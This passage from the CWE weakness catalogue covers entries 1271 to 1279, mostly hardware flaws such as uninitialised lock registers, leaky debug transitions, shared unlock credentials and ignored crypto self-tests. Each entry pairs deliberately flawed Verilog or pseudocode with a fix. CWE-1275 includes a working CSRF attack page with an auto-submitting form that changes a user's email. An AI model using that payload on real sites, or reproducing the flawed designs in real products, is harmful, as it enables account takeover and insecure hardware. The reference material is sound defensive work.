ChildOf	P	284	Improper Access Control	619
PeerOf	B	1259	Improper Protection of Security Identifiers	1790

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IPTechnology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Files or Directories Execute Unauthorized Code or Commands Bypass Protection Mechanism Gain Privileges or Assume Identity Read Memory Modify Memory	High

Scope	Impact	Likelihood
	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Generation of Security Identifiers must be reviewed for design inconsistency and common weaknesses. Security-Identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

For example, consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary access controls. The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed access to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Let’s assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Identifiers are “1” and “2”.

An agent with Security Identifier “1” has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security identifier is “1”.

Example Language: Other *(bad)*

The SoC incorrectly generates cSecurity Identifier “1” for every agent. In other words, both Main-controller and Aux-controller are assigned Security Identifier "1".

Both agents have access to the AES-key registers.

Example Language: Other *(good)*

The SoC should correctly generate Security Identifiers, assigning "1" to the Main-controller and "2" to the Aux-controller

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings

Weakness ID : 1271 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product's logic for state elements that implement security-critical functionality does not have a mechanism for being initialized to a known value on reset.

Extended Description

When a circuit is first brought out of reset, the state of storage elements will be unknown if not explicitly initialized by the logic. If registers holding security-critical state are not properly initialized before being used to control access to design assets or critical resources, there will be a timing window during which the device is in an insecure state and vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1293

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Authentication Authorization	Varies by Context *The attacker may gain access to some resources if the state of the access control circuitry is not set to a known value on reset.*	

Potential Mitigations

Phase: Implementation

Perform design checks to identify any uninitialized flip-flops in the design to ensure none are security-critical.

Phase: Architecture and Design

All registers holding security-critical state should be set to a secure value explicitly on reset or carefully designed to ensure that the inputs of the register update the contents to a secure value before any downstream logic is affected by the security state.

Demonstrative Examples

Example 1:

Shown below is a positive clock edge triggered flip-flop used to implement a lock bit for the test and debug interface. When the circuit is first brought out of reset, the state of the storage element will be unknown until the enable and d-input signals update the stored value. In this example, an attacker can reset the device until the test and debug interface is unlocked and access the test interface until the lock signal is driven to a known state by the logic.

Example Language: Other *(bad)*

```
always @(posedge clk) begin
    if (en) lock_jtag <= d;
end
```

The flip-flop can be set to a known value (0 or 1) on reset, but requires that the logic explicitly update the output of the flip-flop if the reset signal is active.

Example Language: Other *(good)*

```
always @(posedge clk) begin
    if (~reset) lock_jtag <= 0;
    else if (en) lock_jtag <= d;
end
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1206	Power, Clock, and Reset Concerns	1194	2011

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1272: Debug/Power State Transitions Leak Information

Weakness ID : 1272 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Sensitive information may leak as a result of a debug or power state transition when information access restrictions change as a result of the transition.

Extended Description

A device or system frequently employs many power and sleep states during its normal operation (e.g., normal power, additional power, low power, hibernate, deep sleep, etc.). Similarly, depending on the supplied credentials, a device may be operating within a debug condition. For example, a hypothetical enumeration of debug levels may be:

- Level 1 (fully open, all debug methods available)
- Level 2 (partially open, some debug methods available), and
- Level 3 (not open, minimal to no debug methods available).

Depending on various factors, state transitions can happen from one power or debug state to another. If there is information available in the current state and it is not properly removed before the next transistion state, there can be sensitive information leakage.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Read Memory Read Application Data *Depending on the information that is compromised, an attacker can use that information to unlock additional capabilities of the device and take advantage of hidden functionalities. This could compromise any security property, including the ones listed above.*	High

Potential Mitigations

Phase: Architecture and Design

During state transitions, it is essential that the device also take appropriate action to scrub the secrets that are available in the current state but should not be available in the next state.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of an incorrect, power/debug-state transition.

Example Language: *(bad)*

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in B. It reads those keys, performs certain operations, and then transitions to state B where those private keys are no longer accessible.

However, during this transition, it does not scrub the memory. So, at this moment, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory, which contains the footprint of the private keys.

It is essential to consider not just the source of the secrets but, rather, perform a taint analysis of how far the secrets have traveled.

Example Language: *(good)*

For transition from state A to state B, do a taint analysis of where confidential information has propagated. Make sure all secrets from all such locations are removed during the transition.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1273: Device Unlock Credential Sharing

Weakness ID : 1273 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.

Extended Description

“Unlocking a device” often means activating certain, unadvertised, debug and manufacturer-specific capabilities of a device using sensitive credentials. Unlocking a device might be necessary for the purpose of troubleshooting device problems. For example, suppose a device contains the ability to dump the content of the full system memory by disabling the memory-protection mechanisms. Since this is a highly security-sensitive capability, this capability is “locked” in the production part. Unless the device gets unlocked by supplying the proper credentials the debug capablilities are not available. For cases where the chip designer, chip manufacturer (fabricator), and manufacturing and assembly testers are the all employed by the same company, the compromise of the credentials are greatly reduced. However, when the chip designer is employed by one company, the chip manufacturer is employed by another company (a foundry), and the assemblers and testers are employed by yet a third company. Since these different companies will need to perform various tests on the device to verify correct device function, they all need to share the unlock key. Unfortunately, the level of secrecy and policy might be quite different at each company, greatly increasing the risk of sensitive credentials being compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Modify Memory Read Memory Modify Files or Directories Read Files or Directories Modify Application Data Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism *Once unlock credentials are compromised, an attacker can use the credentials to unlock the device and gain unauthorized access to the hidden functionalities protected by those credentials.*	

Potential Mitigations

Phase: Integration

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Phase: Manufacturing

Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of compromised credentials.

Example Language: *(bad)*

Suppose a semiconductor chipmaker, “C”, uses the foundry “F” for fabricating its chips. Now, F has many other customers in addition to C, and some of the other customers are much smaller companies. F has dedicated teams for each of its customers, but somehow it mixes up the unlock credentials and sends the unlock credentials of C to the wrong team. This other team does not take adequate precautions to protect the credentials that have nothing to do with them, and eventually the unlock credentials of C get leaked.

When the credentials of multiple organizations are stored together, exposure to third parties occurs frequently.

Example Language: *(good)*

Vertical integration of a production company is one effective method of protecting sensitive credentials. Where vertical integration is not possible, strict access control and need-to-know are methods which can be implenmented to reduce these risks.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2007

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1274: Insufficient Protections on the Volatile Memory Containing Boot Code

Weakness ID : 1274 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The protections on the product's non-volatile memory containing boot code are insufficient to prevent the bypassing of secure boot or the execution of an untrusted, boot code chosen by an adversary.

Extended Description

As a part of secure-boot process, a System-on-Chip's (SoC) read-only-memory (ROM) code fetches bootloader code from Non-Volatile Memory (NVM) and stores the code in Volatile Memory (VM), such as dynamic, random-access memory (DRAM)/static, random-access memory (SRAM). The NVM is usually external to the SoC while the VM is internal to the SoC. As the code is transferred from NVM to VM, it is authenticated by the SoC's ROM code.

If the volatile-memory-region protections or access controls are insufficient to prevent modifications from an adversary or untrusted agent, the secure boot may be bypassed or replaced with the excution of an adversary’s code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Authentication	Modify Memory	High

Scope	Impact	Likelihood
	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

During this phase, ensure that the design of volatile-memory protections are enough to prevent modification from an adversary or untrusted code.

Phase: Testing

Test the volatile-memory protections to ensure they are safe from modification or untrusted code.

Demonstrative Examples

Example 1:

A typical SoC secure boot's flow includes fetching the next piece of code (i.e., the boot loader) from NVM (e.g., serial, peripheral interface (SPI) flash), and transferring it to DRAM/SRAM volatile, internal memory. The advantage of using DRAM/SRAM is that the access time is faster and cheaper per byte than NVM.

Example Language: *(bad)*

The volatile-memory protections or access controls are insufficient.

The memory from where the boot loader executes can be modified by an adversary.

Example Language: *(good)*

A good architecture should define appropriate protections or access controls to prevent modification by an adversary or untrusted agent, once the bootloader is authenticated.

Observed Examples

Reference	Description
CVE-2019-2267	Locked regions might be modified through other interfaces in secure-boot-loader image due to improper, access control *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2267*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2008

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1275: Sensitive Cookie with Improper SameSite Attribute

Weakness ID : 1275 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The SameSite attribute for sensitive cookies is not set, or an insecure value is used.

Extended Description

The SameSite attribute controls how cookies are sent for cross-domain requests. This attribute may have three values: 'Lax', 'Strict', or 'None'. If the 'None' value is used, a website may create a cross-domain POST HTTP request to another website, and the browser automatically adds cookies to this request. This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
CanPrecede		352	Cross-Site Request Forgery (CSRF)	773

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Non-Repudiation Access Control	Modify Application Data *If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a "simple" "Content-Type" header in the HTTP request and many more.*	Low

Potential Mitigations

Phase: Implementation

Set the SameSite attribute of a sensitive cookie to 'Lax' or 'Strict'. This instructs the browser to apply this cookie only to same-domain requests, which provides a good Defense in Depth against CSRF attacks. When the 'Lax' value is in use, cookies are also sent for top-level cross-domain navigation via HTTP GET, HEAD, OPTIONS, and TRACE methods, but not for other HTTP methods that are more like to cause side-effects of state mutation.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies.

Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: JavaScript *(bad)*

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com' }
response.cookie('sessionid', sessionId, cookieOptions)
```

Since the sameSite attribute is not specified, the cookie will be sent to the website with each request made by the client. An attacker who can potentially perform CSRF attack by using the following malicious page:

Example Language: HTML *(attack)*

```
<html>
  <form id=evil action="http://local:3002/setEmail" method="POST">
  <input type="hidden" name="newEmail" value="abc@example.com" />
  </form>
  <script>evil.submit()</script>
  </html>
```

When the client visits this malicious web page, it submits a '/setEmail' POST HTTP request to the vulnerable website. Since the browser automatically appends the 'sessionid' cookie to the request, the website automatically performs a 'setEmail' action on behalf of the client.

To mitigate the risk, use the sameSite attribute of the 'sessionid' cookie set to 'Strict'.

Example Language: JavaScript *(good)*

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com', sameSite: 'Strict' }
response.cookie('sessionid', sessionId, cookieOptions
```

References

[REF-1104]M. West and M. Goodwin. "SameSite attribute specification draft". 2016 April 6. < https://tools.ietf.org/html/draft-west-first-party-cookies-07 >.

[REF-1105]Mozilla. "SameSite attribute description on MDN Web Docs". 2020 June 0. < https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite >.

[REF-1106]The Chromium Projects. "Chromium support for SameSite attribute". 2019 September 6. < https://www.chromium.org/updates/same-site >.

CWE-1276: Hardware Block Incorrectly Connected to Larger System

Weakness ID : 1276 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Signals between a hardware IP and the larger system design are incorrectly connected.

Extended Description

Individual hardware IP must communicate with the larger system in order for the product to function correctly and as intended. If implemented incorrectly, these various inputs and output interactions may cause security issues that will not necessarily manifest as functional bugs. For example, if the IP should only be reset by a system-wide hard reset, but instead the reset input is connected to a software-triggered debug mode reset (which is also asserted during a hard reset), integrity of data inside the IP can be violated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context	

Potential Mitigations

Phase: Testing

System-level verification is essential to ensure that components are correctly connected and that design security requirements are not violated due to interactions between various IP blocks.

Demonstrative Examples

Example 1:

Many SoCs use hardware to partition system resources between secure/trusted and non-secure/ un-trusted entities. An example of this is Arm TrustZone, in which the processor and all security-aware IP must isolate resources based on the status of a privilege bit. This privilege bit is part of the input interface in all TrustZone-aware IP. If this privilege bit is accidentally grounded or left unconnected when the IP is instantiated, privilege escalation of all input data can occur.

Example Language: Verilog *(bad)*

```
// IP definition
module tz_peripheral(clk, reset, data_in, data_in_security_level, ...);
input clk, reset;
input [31:0] data_in;
input data_in_security_level;
...
endmodule
```

```
// Instantiation of IP in a larger system

module soc(...)

...

tz_peripheral u_tz_peripheral(

.clk(clk),

.rst(rst),

.data_in(rdata),

//Copy-and-paste error or typo grounds data_in_security_level (in this example 0=secure, 1=non-secure) effectively promoting all data to “secure”)

.data_in_security_level(1'b0),

);

...

endmodule
```

In the Verilog code below, the security level input to the TrustZone aware peripheral is correctly driven by an appropriate signal instead of being grounded.

Example Language: Verilog *(good)*

```
// Instantiation of IP in a larger system

module soc(...)

...

tz_peripheral u_tz_peripheral(

.clk(clk),

.rst(rst),

.data_in(rdata),

// This port is no longer grounded, but instead drive by the appropriate signal

.data_in_security_level(rdata_security_level),

);

...

endmodule
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1197	Integration Issues	1194	2008

CWE-1277: Firmware Not Updateable

Weakness ID : 1277 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's firmware cannot be updated, which leaves persistent weaknesses with no means of patching them.

Extended Description

The inability to patch the product's firmware means that any weaknesses therein cannot be mitigated through an update. This leaves the system/device open to potential exploitation of the inherent weaknesses present. External protective measures and mitigations can be employed to aid in preventing malicious behavior, but the root weakness cannot be corrected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control Authentication Authorization	Gain Privileges or Assume Identity Bypass Protection Mechanism Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *An attacker can leverage access to (or mapping of) the firmware to gain unauthorized access to the system's operation and configuration information. This knowledge can be used to determine the most effective method of exploiting the present weakness(es). If an attacker can identify a flaw in a device that can be exploited, this attack may apply across the entire class of devices since they cannot be updated. Likelihood of negative impact will depend on the prevalence and accessibility of the devices. If they are commodity (home) use devices, they are highly likely to be experimented on. If limited use commercial devices (low accessibility) then the likelihood is lower.*	Medium

Potential Mitigations

Phase: Requirements

Specify requirements to provide the ability to update firmware.

Phase: Architecture and Design

Design the device to allow for updating the firmware.

Phase: Implementation

Implement necessary functionality to allow for updating the firmware.

Demonstrative Examples

Example 1:

An employee's mobile device is decommissioned due to end of life but sensitive user information, network certificates, and encryption keys are left in device memory/storage.

Example Language: Other *(bad)*

This device is obtained by a malicious individual; either through re-seller or nefarious means. System forensics (e.g. chip decapping) is used to reveal system memory and storage data. Examination of these leads to acquisition of critical and/or sensitive data which can be used to bypass access control, impersonate individuals, or otherwise access potentially proprietary information.

Example Language: Other *(good)*

Device is scrubbed of sensitive/critical information prior to decommissioning (e.g. resell or disposal). Once obtained by another individual, they are unable to extract any critical or sensitive data since it is not present on the device.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

References

[REF-1095]Matthew Hughes. "Bad news: KeyWe Smart Lock is easily bypassed and can't be fixed". < https://www.theregister.com/2019/12/11/f_secure_keywe/ >.

[REF-1096]Alex Scroxton. "Alarm bells ring, the IoT is listening". < https://www.computerweekly.com/news/252475324/Alarm-bells-ring-the-IoT-is-listening >.

[REF-1097]Brian Krebs. "Zyxel Flaw Powers New Mirai IoT Botnet Strain". < https://krebsonsecurity.com/2020/03/zxyel-flaw-powers-new-mirai-iot-botnet-strain/ >.

CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques

Weakness ID : 1278 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Secrets stored in hardware can be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

Extended Description

The physical structure of the hardware, if viewed at high enough magnification and resolution, can reveal the functionality and data stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from non-invasive (high resolution x-ray microscopy) to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.

The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist. Memory technologies such as masked ROM are easier to extract secrets from than One-time Programmable (OTP) memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context *A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.*	

Potential Mitigations

Phase: Architecture and Design

Cost of effort to extract secrets via IC reverse engineering should outweigh the potential value of the secrets being disclosed. Appropriate technologies should be chosen to store design secrets based on threat model and secret value. Examples include IC camoflaging and obfuscation, tamper-proof packaging, active shielding, and circuitry to erase sensitive data upon detection of physical tampering.

Demonstrative Examples

Example 1:

Consider a SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic itself meaning it cannot be modified after fabrication and is identical for all ICs. An attacker in possession of the IC can decapsulate and delayer the chip. After imaging the layers, computer vision algorithms or manual inspection of the circuit features can locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2007
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

References

[REF-1092]Shahed E. Quadir, Junlin Chen, Domenic Forte, Navid Asadizanjani, Sina Shahbazmohamadi, Lei Wang, John Chandy and Mark Tehranipoor. "A Survey on Chip to System Reverse Engineering". < https://dl.acm.org/doi/pdf/10.1145/2755563 >.

CWE-1279: Cryptographic Primitives used without Successful Self-Test

Weakness ID : 1279 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Using crypto primitives without ensuring that they have passed the self-tests might result in the exposure of sensitive information and/or other consequences.

Extended Description

Cryptographic primitives are hardware units that are supposed to perform certain cryptographic tasks. As is the case with many systems, for both hardware and software, in order to perform correctly, a system must first attain a certain state that can be considered a valid, starting point. In other words, it can be stated that the system has now been properly initialized. However, in order to reach this valid, initial state, the system needs to have performed certain tasks and/or obtained certain other data from other parts of the system. For example, a cryptographic unit that depends on an external, random-number-generator (RNG) unit for entropy must get a signal from the RNG unit that the RNG unit is ready to supply random numbers if asked. Or maybe a symmetric, cryptographic unit retrieves its private encryption key from a fuse unit; hence, it must ensure that the fuse unit is up and running before it can pull the fuse with the corresponding key.

However, even when the system reaches this supposedly valid, initial state, the system must “validate” that this state is indeed valid. To do this, the system performs a series of tests and compares the result with the expected values. This test is often called Power-On Self-Test (POST), Built-In Self-test (BIST), or just self-test in short. If the results of the self-test do not match the expected values, then the system assumes that something went wrong with the initialization process, and, resultingly, the system can no longer be trusted to perform its tasks reliably.

To ensure the sanctity of the self-test process, when the self-test goes on, usually the regular input, output, and other external interfaces are not made available.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality Integrity Availability Accountability Authentication Authorization Non-Repudiation	Varies by Context *Usage of crypto primitives without successful self-test could render the supposedly encrypted data as unencrypted plaintext in the worst case. This would compromise any security property, including the ones listed above.*	

Potential Mitigations

Phase: Architecture and Design

Follow sensible 'best practices' for crypto system design. For example, ensure the crypto system performs a power-on self-test at boot time, and that self-test results can't be ignored or overridden.

Effectiveness = High

Phase: Implementation

Depending on the specific cryptographic function the unit is providing, it might be necessary to perform additional, conditional self-tests periodically, e.g., using pairwise-consistency tests for RSA, DSA, and ECDSA signature keys. Also, the system should be insulated from all influences during self-test--no input signals allowed.

Effectiveness = High

Demonstrative Examples

Example 1:

The following pseudocode demonstrates this vulnerability where the architect deemed it OK to ignore the result of a self-test from an RNG. Assume the output from the RNG is used to seed yet another pseudo-random-number generator.

Example Language: Other *(bad)*

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else Seed = hardcoded_number
```

In the example above, first we are checking if the RNG is ready by performing a self-test on the RNG. If it fails, we just ignore the result and use some hardcoded, constant value. This action of ignoring the self-test result and using a constant seed is going to reduce the entropy of the cryptographic function using that seed and thereby weaken it.

Example Language: Other *(good)*

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else enter_error_state()
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2011

CWE-1280: Access Control Check Implemented After Asset is Accessed

Weakness ID : 1280 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A product's hardware-based access control check occurs after the asset has been accessed.

